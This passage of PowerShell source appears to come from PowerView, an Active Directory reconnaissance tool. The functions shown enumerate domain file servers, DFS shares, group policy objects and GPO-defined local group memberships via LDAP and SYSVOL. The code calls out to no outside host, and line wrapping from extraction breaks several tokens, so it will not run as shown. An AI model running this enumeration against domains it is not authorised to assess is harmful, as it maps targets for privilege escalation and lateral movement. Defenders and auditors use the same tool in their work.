$Group.Save()
}
}
}
}

function Get-DomainFileServer {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName =
$True)]
[ValidateNotNullOrEmpty()]
[Alias('DomainName', 'Name')]
[String[]]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
function Split-Path {

Param([String]$Path)

if ($Path -and ($Path.split('\\').Count -ge 3)) {


$Temp = $Path.split('\\')[2]
if ($Temp -and ($Temp -ne '')) {
$Temp
}
}
}

$SearcherArguments = @{
'LDAPFilter' = '(&(samAccountType=805306368)(!
(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)
(profilepath=*)))'
'Properties' = 'homedirectory,scriptpath,profilepath'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
}

PROCESS {
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments

$(ForEach($UserResult in $UserSearcher.FindAll()) {if


($UserResult.Properties['homedirectory']) {Split-
Path($UserResult.Properties['homedirectory'])}if
($UserResult.Properties['scriptpath']) {Split-
Path($UserResult.Properties['scriptpath'])}if
($UserResult.Properties['profilepath']) {Split-
Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
}
}
else {
$UserSearcher = Get-DomainSearcher @SearcherArguments
$(ForEach($UserResult in $UserSearcher.FindAll()) {if
($UserResult.Properties['homedirectory']) {Split-
Path($UserResult.Properties['homedirectory'])}if
($UserResult.Properties['scriptpath']) {Split-
Path($UserResult.Properties['scriptpath'])}if
($UserResult.Properties['profilepath']) {Split-
Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
}
}
}

function Get-DomainDFSShare {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName =
$True)]
[ValidateNotNullOrEmpty()]
[Alias('DomainName', 'Name')]
[String[]]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateSet('All', 'V1', '1', 'V2', '2')]


[String]
$Version = 'All'
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

function Parse-Pkt {
[CmdletBinding()]
Param(
[Byte[]]
$Pkt
)

$bin = $Pkt
$blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
$blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
$offset = 8

$object_list = @()
for($i=1; $i -le $blob_element_count; $i++){
$blob_name_size_start = $offset
$blob_name_size_end = $offset + 1
$blob_name_size =
[bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
$blob_name_start = $blob_name_size_end + 1
$blob_name_end = $blob_name_start + $blob_name_size - 1
$blob_name =
[System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])

$blob_data_size_start = $blob_name_end + 1
$blob_data_size_end = $blob_data_size_start + 3
$blob_data_size =
[bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)

$blob_data_start = $blob_data_size_end + 1
$blob_data_end = $blob_data_start + $blob_data_size - 1
$blob_data = $bin[$blob_data_start..$blob_data_end]
switch -wildcard ($blob_name) {
"\siteroot" { }
"\domainroot*" {

$root_or_link_guid_start = 0
$root_or_link_guid_end = 15
$root_or_link_guid = [byte[]]
$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
$guid = New-Object Guid(,$root_or_link_guid)
$prefix_size_start = $root_or_link_guid_end + 1
$prefix_size_end = $prefix_size_start + 1
$prefix_size =
[bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
$prefix_start = $prefix_size_end + 1
$prefix_end = $prefix_start + $prefix_size - 1
$prefix =
[System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])

$short_prefix_size_start = $prefix_end + 1
$short_prefix_size_end = $short_prefix_size_start + 1
$short_prefix_size =
[bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..
$short_prefix_size_end],0)
$short_prefix_start = $short_prefix_size_end + 1
$short_prefix_end = $short_prefix_start +
$short_prefix_size - 1
$short_prefix =
[System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..
$short_prefix_end])

$type_start = $short_prefix_end + 1
$type_end = $type_start + 3
$type = [bitconverter]::ToUInt32($blob_data[$type_start..
$type_end],0)

$state_start = $type_end + 1
$state_end = $state_start + 3
$state = [bitconverter]::ToUInt32($blob_data[$state_start..
$state_end],0)

$comment_size_start = $state_end + 1
$comment_size_end = $comment_size_start + 1
$comment_size =
[bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
$comment_start = $comment_size_end + 1
$comment_end = $comment_start + $comment_size - 1
if ($comment_size -gt 0) {
$comment =
[System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
}
$prefix_timestamp_start = $comment_end + 1
$prefix_timestamp_end = $prefix_timestamp_start + 7

$prefix_timestamp = $blob_data[$prefix_timestamp_start..
$prefix_timestamp_end]
$state_timestamp_start = $prefix_timestamp_end + 1
$state_timestamp_end = $state_timestamp_start + 7
$state_timestamp = $blob_data[$state_timestamp_start..
$state_timestamp_end]
$comment_timestamp_start = $state_timestamp_end + 1
$comment_timestamp_end = $comment_timestamp_start + 7
$comment_timestamp = $blob_data[$comment_timestamp_start..
$comment_timestamp_end]
$version_start = $comment_timestamp_end + 1
$version_end = $version_start + 3
$version =
[bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)

$dfs_targetlist_blob_size_start = $version_end + 1
$dfs_targetlist_blob_size_end =
$dfs_targetlist_blob_size_start + 3
$dfs_targetlist_blob_size =
[bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..
$dfs_targetlist_blob_size_end],0)

$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end
+ 1
$dfs_targetlist_blob_end = $dfs_targetlist_blob_start +
$dfs_targetlist_blob_size - 1
$dfs_targetlist_blob =
$blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
$reserved_blob_size_start = $dfs_targetlist_blob_end + 1
$reserved_blob_size_end = $reserved_blob_size_start + 3
$reserved_blob_size =
[bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..
$reserved_blob_size_end],0)

$reserved_blob_start = $reserved_blob_size_end + 1
$reserved_blob_end = $reserved_blob_start +
$reserved_blob_size - 1
$reserved_blob = $blob_data[$reserved_blob_start..
$reserved_blob_end]
$referral_ttl_start = $reserved_blob_end + 1
$referral_ttl_end = $referral_ttl_start + 3
$referral_ttl =
[bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)

$target_count_start = 0
$target_count_end = $target_count_start + 3
$target_count =
[bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..
$target_count_end],0)
$t_offset = $target_count_end + 1

for($j=1; $j -le $target_count; $j++){


$target_entry_size_start = $t_offset
$target_entry_size_end = $target_entry_size_start + 3
$target_entry_size =
[bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..
$target_entry_size_end],0)
$target_time_stamp_start = $target_entry_size_end + 1
$target_time_stamp_end = $target_time_stamp_start + 7

$target_time_stamp =
$dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
$target_state_start = $target_time_stamp_end + 1
$target_state_end = $target_state_start + 3
$target_state =
[bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..
$target_state_end],0)

$target_type_start = $target_state_end + 1
$target_type_end = $target_type_start + 3
$target_type =
[bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..
$target_type_end],0)

$server_name_size_start = $target_type_end + 1
$server_name_size_end = $server_name_size_start + 1
$server_name_size =
[bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..
$server_name_size_end],0)

$server_name_start = $server_name_size_end + 1
$server_name_end = $server_name_start +
$server_name_size - 1
$server_name =
[System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..
$server_name_end])

$share_name_size_start = $server_name_end + 1
$share_name_size_end = $share_name_size_start + 1
$share_name_size =
[bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..
$share_name_size_end],0)
$share_name_start = $share_name_size_end + 1
$share_name_end = $share_name_start + $share_name_size
- 1
$share_name =
[System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..
$share_name_end])

$target_list += "\\$server_name\$share_name"
$t_offset = $share_name_end + 1
}
}
}
$offset = $blob_data_end + 1
$dfs_pkt_properties = @{
'Name' = $blob_name
'Prefix' = $prefix
'TargetList' = $target_list
}
$object_list += New-Object -TypeName PSObject -Property
$dfs_pkt_properties
$prefix = $Null
$blob_name = $Null
$target_list = $Null
}

$servers = @()
$object_list | ForEach-Object {
if ($_.TargetList) {
$_.TargetList | ForEach-Object {
$servers += $_.split('\')[2]
}
}
}

$servers
}

function Get-DomainDFSShareV1 {
[CmdletBinding()]
Param(
[String]
$Domain,

[String]
$SearchBase,

[String]
$Server,

[String]
$SearchScope = 'Subtree',

[Int]
$ResultPageSize = 200,

[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$DFSsearcher = Get-DomainSearcher @PSBoundParameters

if ($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = '(&(objectClass=fTDfs))'

try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$RemoteNames = $Properties.remoteservername
$Pkt = $Properties.pkt

$DFSshares += $RemoteNames | ForEach-Object {


try {
if ( $_.Contains('\') ) {
New-Object -TypeName PSObject -Property
@{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-
DomainDFSShareV1 error in parsing DFS share : $_"
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Get-
DomainDFSShareV1 error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()

if ($pkt -and $pkt[0]) {


Parse-Pkt $pkt[0] | ForEach-Object {

if ($_ -ne 'null') {


New-Object -TypeName PSObject -Property
@{'Name'=$Properties.name[0];'RemoteServerName'=$_}
}
}
}
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1
error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}

function Get-DomainDFSShareV2 {
[CmdletBinding()]
Param(
[String]
$Domain,

[String]
$SearchBase,

[String]
$Server,
[String]
$SearchScope = 'Subtree',

[Int]
$ResultPageSize = 200,

[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$DFSsearcher = Get-DomainSearcher @PSBoundParameters

if ($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
$Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-
linkpathv2','msDFS-TargetListv2'))

try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$target_list = $Properties.'msdfs-targetlistv2'[0]
$xml = [xml]
[System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
try {
$Target = $_.InnerText
if ( $Target.Contains('\') ) {
$DFSroot = $Target.split('\')[3]
$ShareName = $Properties.'msdfs-linkpathv2'[0]
New-Object -TypeName PSObject -Property
@{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-
DomainDFSShareV2 error in parsing target : $_"
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of
the Results object: $_"
}
}
$DFSSearcher.dispose()
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2
error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
}

PROCESS {
$DFSshares = @()

if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
}
else {
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}

$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique


}
}

function Get-GptTmpl {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,

[Switch]
$OutputObject,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$MappedPaths = @{}
}

PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and
($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\
SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {

Add-RemoteConnection -Path $SysVolPath -Credential $Credential


$MappedPaths[$SysVolPath] = $True
}
}

$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\
GptTmpl.inf'
}

Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"

if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -
ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction
Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}

END {

$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }


}
}

function Get-GroupsXML {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$MappedPaths = @{}
}

PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and
($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\
SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {

Add-RemoteConnection -Path $SysVolPath -Credential $Credential


$MappedPaths[$SysVolPath] = $True
}
}

[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction


Stop

$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -


ExpandProperty node | ForEach-Object {

$Groupname = $_.Properties.groupName

$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -
Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}

$Members = $_.Properties.members | Select-Object -ExpandProperty


Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}

if ($Members) {

if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' =
$_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}

if ($Members -isnot [System.Array]) { $Members = @($Members) }

$GroupsXML = New-Object PSObject


$GroupsXML | Add-Member Noteproperty 'GPOPath'
$TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}

END {

$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }


}
}

function Get-DomainGPO {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,

[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,

[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or
$PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null

if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne |
Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity'
not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-
Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not
found!"
}
$ObjectDN = $User.distinguishedname
}

$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"

if ($ObjectOUs) {

$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-
Object {

if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]

if ($InheritanceDisabled) {

if ($Enforced -eq 2) {
$GpoDN
}
}
else {

$GpoDN
}
}
}
}

if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}

if ($TargetComputerName) {

$ComputerSite = (Get-NetComputerSiteName -ComputerName


$TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments |
ForEach-Object {
if($_.gplink) {

$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}

$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)
(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-
Object {
if($_.gplink) {

$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"

if ($OldProperties) { $SearcherArguments['Properties'] =
$OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')

$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object


{

$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] =
"(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]
$IdentityInstance).ToByteArray() | ForEach-Object
{$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)
$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $
($GPOSearcher.filter)"

if ($PSBoundParameters['FindOne']) { $Results =
$GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {

$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -
Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain =
$GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\
Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath'
$gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating
gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the
Results object: $_"
}
}
$GPOSearcher.dispose()
}
}
}
}

function Get-DomainGPOLocalGroup {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,

[Switch]
$ResolveMembersToSIDs,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

